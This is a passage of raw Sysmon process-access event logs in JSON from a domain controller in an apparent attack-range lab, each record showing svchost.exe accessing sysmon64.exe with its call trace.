C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 